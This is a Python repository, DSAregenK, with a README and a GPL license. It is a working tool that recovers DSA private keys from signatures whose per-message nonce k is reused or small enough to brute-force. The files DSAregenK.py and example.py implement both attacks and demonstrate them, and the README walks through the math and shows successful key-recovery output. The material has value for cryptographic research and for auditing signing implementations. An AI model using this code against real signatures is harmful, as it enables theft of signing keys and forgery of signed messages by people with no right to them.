├── .gitignore ├── src ├── example.py └── DSAregenK.py ├── README.md └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | 3 | # C extensions 4 | *.so 5 | 6 | # Packages 7 | *.egg 8 | *.egg-info 9 | dist 10 | build 11 | eggs 12 | parts 13 | bin 14 | var 15 | sdist 16 | develop-eggs 17 | .installed.cfg 18 | lib 19 | lib64 20 | 21 | # Installer logs 22 | pip-log.txt 23 | 24 | # Unit test / coverage reports 25 | .coverage 26 | .tox 27 | nosetests.xml 28 | 29 | # Translations 30 | *.mo 31 | 32 | # Mr Developer 33 | .mr.developer.cfg 34 | .project 35 | .pydevproject 36 | -------------------------------------------------------------------------------- /src/example.py: -------------------------------------------------------------------------------- 1 | from Crypto.Random import random 2 | from Crypto.PublicKey import DSA 3 | from Crypto.Hash import SHA 4 | 5 | from DSAregenK import DSAregenK 6 | 7 | import logging 8 | LOG = logging.getLogger('DSAregenK') 9 | 10 | 11 | def signMessage(privkey,msg,k=None): 12 | ''' 13 | create DSA signed message 14 | @arg privkey ... privatekey as DSA obj 15 | @arg msg ... message to sign 16 | @arg k ... override random k 17 | ''' 18 | k = k or random.StrongRandom().randint(1, privkey.q-1) 19 | # generate msg hash 20 | # sign the messages using privkey 21 | h = SHA.new(msg).digest() 22 | r,s = privkey.sign(h,k) 23 | return msg,h,(r,s),privkey.publickey() 24 | 25 | if __name__=="__main__": 26 | LOG.setLevel(logging.DEBUG) 27 | logging.debug("-- on --") 28 | LOG.debug("-- Generating private key and signing 2 messages --") 29 | # Generate new DSA pub/private key pair 30 | secret_key = DSA.generate(1024) 31 | # choose a "random" - k :) this time random is static in order to allow this attack to work 32 | k = random.StrongRandom().randint(1, secret_key.q-1) 33 | # sign two messages using the same k 34 | mA = signMessage(secret_key,"This is a signed message!",k) 35 | mB = signMessage(secret_key,"Another signed Message - I am the only one that may sign these messages :)",k) 36 | # 37 | # -- create another set of data -- 38 | secret_key2 = DSA.generate(1024) 39 | # 40 | k = random.StrongRandom().randint(1, secret_key2.q-1) 41 | m5 = signMessage(secret_key2,"xxx This is a signed message!",k) 42 | m6 = signMessage(secret_key2,"xxx Another signed Message - I am the only one that may sign these messages :)",k=0xaf) 43 | m7 = signMessage(secret_key2,"xxx Another signed xxxMessage - I am the only one that may sign these messages :)",k) 44 | m8 = signMessage(secret_key2,"xxx Another signed xxxxxxMessage - I am the only one that may sign these messages :)") 45 | print m7,m7[3].q,m7[3].g,k,m7[3].p 46 | 47 | # 48 | # --- organize testset data --- 49 | # 50 | privkeys=[] # just to keep track of our privkeys.. (for comparison, see below) 51 | privkeys.append(secret_key.x) 52 | privkeys.append(secret_key2.x) 53 | # 54 | data1 = [] 55 | data1.append(mA) 56 | data1.append(mB) 57 | 58 | data2 = [] 59 | data2.append(m5) 60 | data2.append(m6) 61 | data2.append(m7) 62 | data2.append(m8) 63 | 64 | datasets = [data1,data2] 65 | # ============================================================ 66 | # 67 | # Begin ATTACK Code :) 68 | # 69 | # ============================================================ 70 | LOG.debug(" -- #1 Attacking weak coefficient 'k' -- ") 71 | for data in datasets: 72 | pubkey = pubkey=data[0][3] # grab pubkey 73 | a = DSAregenK(pubkey=pubkey) # feed DSAregen 74 | for m,h,(r,s),pubkey in data: # add sample data (message,hash,(signature)) to DSAregen 75 | a.add( (r,s),h ) 76 | 77 | for re_privkey in a.run(asDSAobj=True): # reconstruct privatekey from samples (needs at least 2 signed messages with equal r param) 78 | if re_privkey.x in privkeys: # compare regenerated privkey with one of the original ones (just a quick check :)) 79 | LOG.info( "Successfully reconstructed private_key: %s | x=%s"%(repr(re_privkey),re_privkey.x)) 80 | else: 81 | LOG.error("Something went wrong :( %s"%repr(re_privkey)) 82 | LOG.debug("----------------------------------------------------------") 83 | 84 | 85 | LOG.debug(" -- #2 Bruteforcing weak 'small' coefficient 'k' -- ") 86 | for data in datasets: 87 | pubkey = pubkey=data[0][3] # grab pubkey 88 | a = DSAregenK(pubkey=pubkey) # feed DSAregen 89 | for m,h,(r,s),pubkey in data: # add sample data (message,hash,(signature)) to DSAregen 90 | a.add( (r,s),h ) 91 | 92 | for re_privkey in a.runBrute(asDSAobj=True,maxTries=256): # reconstruct privatekey from samples (needs at least 2 signed messages with equal r param) 93 | if re_privkey.x in privkeys: # compare regenerated privkey with one of the original ones (just a quick check :)) 94 | LOG.info( "Successfully brute_forced private_key: %s | x=%s"%(repr(re_privkey),re_privkey.x)) 95 | else: 96 | LOG.error("Something went wrong :( %s"%repr(re_privkey)) 97 | LOG.debug("----------------------------------------------------------") 98 | 99 | LOG.debug("--- END ---") -------------------------------------------------------------------------------- /src/DSAregenK.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Created on 15.01.2013 3 | 4 | @author: martin 5 | ''' 6 | from Crypto.Random import random 7 | from Crypto.PublicKey import DSA 8 | from Crypto.PublicKey.pubkey import bignum,inverse 9 | from Crypto.Hash import SHA 10 | from Crypto.Util.number import bytes_to_long 11 | 12 | import logging 13 | LOG = logging.getLogger('DSAregenK') 14 | 15 | 16 | class DSAregenK(object): 17 | def __init__(self,pubkey): 18 | self.samples = {} 19 | self.pubkey = pubkey 20 | LOG.debug("+ set: pubkey = %s"%pubkey) 21 | 22 | def add(self,signature,hash): 23 | ''' 24 | sample is of format ( (r,s),hash(data), pubkey) 25 | signature params,hashed_data 26 | individual pubkey 27 | ''' 28 | (r,s) = signature 29 | if not isinstance(hash,long): 30 | hash = bytes_to_long(hash) 31 | sample = bignum(r),bignum(s),bignum(hash) #convert .digest() 32 | 33 | if not self.samples.has_key(r): 34 | self.samples[r]=[] 35 | 36 | 37 | self.samples[r].append(sample) 38 | #LOG.debug("+ added: sample = %s"%repr(sample)) 39 | 40 | 41 | def run(self,asDSAobj=False): 42 | # find samples with equal r in signature 43 | for c in self._find_candidates(): 44 | LOG.debug("[*] reconstructing PrivKey for Candidate r=%s"%c) 45 | (k,x) = self._attack(self.samples[c]) 46 | if asDSAobj: 47 | yield self._construct_DSA((k,x)) 48 | else: 49 | yield (k,x) 50 | 51 | def runBrute(self,asDSAobj=False,maxTries=None): 52 | for r,samples in self.samples.iteritems(): 53 | LOG.debug("[*] bruteforcing PrivKey for r=%s"%r) 54 | for sample in samples: 55 | LOG.debug("[** - sample for r=%s]"%r) 56 | try: 57 | (k,x) = self._brute_k(sample,maxTries=maxTries) 58 | if asDSAobj: 59 | yield self._construct_DSA((k,x)) 60 | else: 61 | yield (k,x) 62 | except Exception, e: 63 | logging.error(e.message) 64 | 65 | def _find_candidates(self): 66 | ''' 67 | candidates have same r 68 | ''' 69 | candidates = [] 70 | for r, vals in self.samples.iteritems(): 71 | if len(vals)>1: 72 | candidates.append(r) 73 | return candidates 74 | 75 | 76 | def _attack(self,samples,q=None): 77 | ''' 78 | samples = r,s,long(hash) 79 | ''' 80 | q = q or self.pubkey.q 81 | 82 | rA,sA,hA = samples[0] 83 | 84 | k_h_diff = hA 85 | k_s_diff = sA 86 | 87 | first = True 88 | for r,s,hash in samples: 89 | if first: 90 | first=False 91 | continue #skip first one due to autofill 92 | k_h_diff -=hash 93 | k_s_diff -=s 94 | 95 | k = (k_h_diff)* inverse(k_s_diff,q) %q 96 | x = ((k*sA-hA)* inverse( rA,q) )% q 97 | 98 | LOG.debug("privkey reconstructed: k=%s; x=%s;"%(k,x)) 99 | return k,x 100 | 101 | def _construct_DSA(self,privkey): 102 | k,x = privkey 103 | return DSA.construct([self.pubkey.y, 104 | self.pubkey.g, 105 | self.pubkey.p, 106 | self.pubkey.q, 107 | x]) 108 | 109 | 110 | def _attack_single(self,hA,sigA,hB,sigB,q=None): 111 | q = q or self.pubkey.q 112 | rA,sA=sigA 113 | rB,sB=sigB 114 | k = (hA - hB)* inverse(sA -sB,q) %q 115 | x = ((k*sA-hA)* inverse( rA,q) )% q 116 | return k,x 117 | 118 | 119 | def _brute_k(self,sample,p=None,q=None,g=None,maxTries=None): 120 | ''' 121 | sample = (r,s,h(m)) 122 | ''' 123 | # 1 < k < q 124 | p = p or self.pubkey.p 125 | q = q or self.pubkey.q 126 | g = g or self.pubkey.g 127 | 128 | r,s,h = sample 129 | 130 | k= 2 131 | while k< q-1: 132 | if maxTries and k >= maxTries+2: 133 | break 134 | # calc r = g^k mod p mod q 135 | if r == pow(g,k,p)%q: 136 | x = ((k*s-h)* inverse( r,q) )% q 137 | return k,x 138 | k+=1 #next k 139 | raise Exception("Max tries reached! - %d/%d"%(k-2,maxTries)) 140 | 141 | 142 | if __name__=="__main__": 143 | import timeit 144 | code = ''' 145 | q=1265463802023530275326394511026959111076549652869 146 | g=84281203019815261389723351787997895766686782784042902057749572710486802455287943930039236293081120645856643138985466753439864717645302485601757623822904847629009405411053311508933914054126213326746234712047394770958935994092610093437274339721778386724204641098513873421986583220412010274767817275626531483349 147 | k =155862235091383259018358242245666680486589863514 148 | p = 89884656743115801565356913078863255627534578994836271275156367742905551420240587387886756001391175742871349954773362607747817656666949585098232008455275447903314834915566557308039663748037501217455176261144977713143895613500344330528376806523498586766563054718557062834734452717511314328898484995977406013223 149 | 150 | r,s = (808569543022789887955253071826070582321521360626L, 144740468085989213718785495673981993705197878815L) 151 | pow(g,k,p)%q 152 | ''' 153 | trials = 2**15 154 | print trials," trials =>", timeit.timeit(code,number=trials),"s " -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | DSAregenK 2 | ========= 3 | 4 | :zap: **This project has been incorporated into https://github.com/tintinweb/ecdsa-private-key-recovery which comes with a way nicer interface** 5 | 6 | Recover the private key of signed DSA messages with weak coefficient 'k'. 7 | The coefficient is considered weak if 'k' is 8 | * not unique per message 9 | * not randomly selected for signed messages 10 | * small enough to make brute_force feasable 11 | 12 | 13 | DSA Signature (r,s): 14 | 15 | r = g^k mod p mod q 16 | s = k-1 (H(m) + x*r) mod q 17 | 18 | x ... private exponent 19 | y ... public exponent 20 | H() ... hash function 21 | m ... message 22 | g ... group generator 23 | p ... prime 24 | q ... subprime 25 | r,s ... digital signature components 26 | k ... per message secret number 27 | 28 | 29 | Modus #1 - 'k' is not unique for all signed messages 30 | -------- 31 | 32 | Given two+ signed message hashes h(mA),h(mB) with signatures (rA,sA) and (rB,sB) where rA==rB and shared public_key 33 | coefficients (at least subprime q) one can reconstruct the private key used to sign these messages. 34 | 35 | DSAregenK().run() - will try to find duplicate 'r' and reconstruct the private_key. just feed as many (sig),hash tuples as you want ( .add()) 36 | 37 | Code: (use run() or _attack()) 38 | 39 | a = DSAregenK(pubkey=pubkey) # feed pubkey 40 | a.add( (r1,s1),h1 ) # add signed messages 41 | 42 | for re_privkey in a.run(asDSAobj=True): # reconstruct privatekey from samples (needs at least 2 signed messages with equal r param) 43 | if re_privkey.x == privkey.x: # compare regenerated privkey with one of the original ones (just a quick check :)) 44 | LOG.info( "Successfully bruteforced private_key: %s"%repr(re_privkey)) 45 | else: 46 | LOG.error("Something went wrong :( %s"%repr(re_privkey)) 47 | 48 | 49 | Modus #2 - 'k' is a weak small number (or within a range of numbers) 50 | --------- 51 | 52 | If we manage to find a 'k' so that g^k mod p mod q == 'r' we can reconstruct the private_key 'x'. Remember 'g' is part of the public_key. 53 | 54 | Benchmark: 2^15 trials will take less than 3mins on heavily loaded Intel Core2Duo @ 2.5GHz, 32bit python. (related: [Debian PRNG Issue](http://www.debian.org/security/2008/dsa-1571)) 55 | 56 | DSAregenK().runBrute() - will try to find a matching 'k' and reconstruct the private_key. just feed as many (sig),hash tuples as you want ( .add()). 57 | 58 | Code: (use runBrute() or _brute_k()) 59 | 60 | a = DSAregenK(pubkey=pubkey) # feed pubkey 61 | a.add( (r1,s1),h1 ) # add signed messages 62 | 63 | for re_privkey in a.runBrute(asDSAobj=True,maxTries=0xff): # reconstruct privatekey from samples (needs at least 2 signed messages with equal r param) 64 | if re_privkey.x == privkey.x: # compare regenerated privkey with one of the original ones (just a quick check :)) 65 | LOG.info( "Successfully bruteforced private_key: %s"%repr(re_privkey)) 66 | else: 67 | LOG.error("Something went wrong :( %s"%repr(re_privkey)) 68 | 69 | 70 | 71 | 72 | Prerequesites: 73 | ============= 74 | 75 | In order to reconstruct the private_key of signed DSA messages you need to have: 76 | 77 | * public_key parameters q [,y,g,p] 78 | * a signed message consisting of: 79 | * h(m) ... hashed message 80 | * (r,s)... signature 81 | * [modus #1] at least two messages with equal 'r' 82 | * [modus #2] at least one message with weak 'k' (small value or within a smaller range since we're bruteforcing 'k') 83 | 84 | 85 | Example: 86 | ========= 87 | 88 | See example.py 89 | 90 | Code: 91 | 92 | from Crypto.Random import random 93 | from Crypto.PublicKey import DSA 94 | from Crypto.Hash import SHA 95 | 96 | from DSAregenK import DSAregenK # <-- where the magic happens 97 | 98 | import logging 99 | LOG = logging.getLogger('DSAregenK') 100 | LOG.setLevel(logging.DEBUG) 101 | logging.debug("-- on --") 102 | 103 | privkey = DSA.generate(1024) # generate new privkey 104 | pubkey = privkey.publickey() # extract pubkey 105 | 106 | (r1,s1,h1)=(1104242600137843543695045937637417281163059700235L, 773789011712632302915807023844906579969862952621L, 857395097640348327305744475401170640455782257516L) 107 | (r2,s2,h2)=(1104242600137843543695045937637417281163059700235L, 684267073985982683308089132980132594478002742693L, 199515072252589500574227853970213073102209507294L) 108 | 109 | a = DSAregenK(pubkey=pubkey) # feed pubkey 110 | 111 | a.add( (r1,s1),h1 ) # add signed messages 112 | a.add( (r2,s2),h2 ) # add signed messages 113 | 114 | for re_privkey in a.run(asDSAobj=True): # reconstruct privatekey from samples (needs at least 2 signed messages with equal r param) 115 | if re_privkey.x == privkey.x: # compare regenerated privkey with one of the original ones (just a quick check :)) 116 | LOG.info( "Successfully reconstructed private_key: %s"%repr(re_privkey)) 117 | else: 118 | LOG.error("Something went wrong :( %s"%repr(re_privkey)) 119 | 120 | 121 | for re_privkey in a.runBrute(asDSAobj=True,maxTries=256): # reconstruct privatekey from samples (needs at least 2 signed messages with equal r param) 122 | if re_privkey.x == privkey.x: # compare regenerated privkey with one of the original ones (just a quick check :)) 123 | LOG.info( "Successfully bruteforced private_key: %s"%repr(re_privkey)) 124 | else: 125 | LOG.error("Something went wrong :( %s"%repr(re_privkey)) 126 | 127 | 128 | Output (this is output of running example.py): 129 | 130 | DEBUG:DSAregenK:-- Generating private key and signing 2 messages -- 131 | DEBUG:DSAregenK: -- #1 Attacking weak coefficient 'k' -- 132 | 133 | DEBUG:DSAregenK:+ set: pubkey = <_DSAobj @0x234a558 y,g,p(1024),q> 134 | DEBUG:DSAregenK:[*] reconstructing PrivKey for Candidate r=443448935073438978098329599020373933501766974614 135 | DEBUG:DSAregenK:privkey reconstructed: k=832436834964661206575791742093758389811362473232; x=110628923297496146512235297968474674504364642268; 136 | INFO:DSAregenK:Successfully reconstructed private_key: <_DSAobj @0x23f98f0 y,g,p(1024),q,x,private> | x=110628923297496146512235297968474674504364642268 137 | DEBUG:DSAregenK:---------------------------------------------------------- 138 | DEBUG:DSAregenK:+ set: pubkey = <_DSAobj @0x23f9788 y,g,p(1024),q> 139 | DEBUG:DSAregenK:[*] reconstructing PrivKey for Candidate r=330419356605368005454791228414289777713764415514 140 | DEBUG:DSAregenK:privkey reconstructed: k=45618860491177950659668700212946090908744911490; x=1008688504343499533641023352967455614331438386097; 141 | INFO:DSAregenK:Successfully reconstructed private_key: <_DSAobj @0x23f99e0 y,g,p(1024),q,x,private> | x=1008688504343499533641023352967455614331438386097 142 | 143 | DEBUG:DSAregenK:---------------------------------------------------------- 144 | DEBUG:DSAregenK: -- #2 Bruteforcing weak 'small' coefficient 'k' -- 145 | DEBUG:DSAregenK:+ set: pubkey = <_DSAobj @0x234a558 y,g,p(1024),q> 146 | DEBUG:DSAregenK:[*] bruteforcing PrivKey for r=443448935073438978098329599020373933501766974614 147 | DEBUG:DSAregenK:[** - sample for r=443448935073438978098329599020373933501766974614] 148 | ERROR:root:Max tries reached! - 256/256 149 | DEBUG:DSAregenK:[** - sample for r=443448935073438978098329599020373933501766974614] 150 | ERROR:root:Max tries reached! - 256/256 151 | DEBUG:DSAregenK:+ set: pubkey = <_DSAobj @0x23f9788 y,g,p(1024),q> 152 | DEBUG:DSAregenK:[*] bruteforcing PrivKey for r=286402551519135367029695561004357693825886532729 153 | DEBUG:DSAregenK:[** - sample for r=286402551519135367029695561004357693825886532729] 154 | INFO:DSAregenK:Successfully brute_forced private_key: <_DSAobj @0x23f9a58 y,g,p(1024),q,x,private> | x=1008688504343499533641023352967455614331438386097 155 | 156 | DEBUG:DSAregenK:---------------------------------------------------------- 157 | DEBUG:DSAregenK:[*] bruteforcing PrivKey for r=330419356605368005454791228414289777713764415514 158 | DEBUG:DSAregenK:[** - sample for r=330419356605368005454791228414289777713764415514] 159 | ERROR:root:Max tries reached! - 256/256 160 | DEBUG:DSAregenK:[** - sample for r=330419356605368005454791228414289777713764415514] 161 | ERROR:root:Max tries reached! - 256/256 162 | DEBUG:DSAregenK:[*] bruteforcing PrivKey for r=919015998067315070352004368887215044863856178317 163 | DEBUG:DSAregenK:[** - sample for r=919015998067315070352004368887215044863856178317] 164 | ERROR:root:Max tries reached! - 256/256 165 | DEBUG:DSAregenK:--- END --- 166 | 167 | 168 | 169 | Dependencies: 170 | ============= 171 | 172 | * [PyCrypto](https://www.dlitz.net/software/pycrypto/) 173 | 174 | 175 | 176 | More Infos: 177 | =========== 178 | 179 | * [DSA requirements for random k values](http://rdist.root.org/2010/11/19/dsa-requirements-for-random-k-value/) 180 | 181 | 182 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | Bruteforce commandline buffer overflows, linux, aggressive arguments 294 | Copyright (C) 2013 tintin 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You 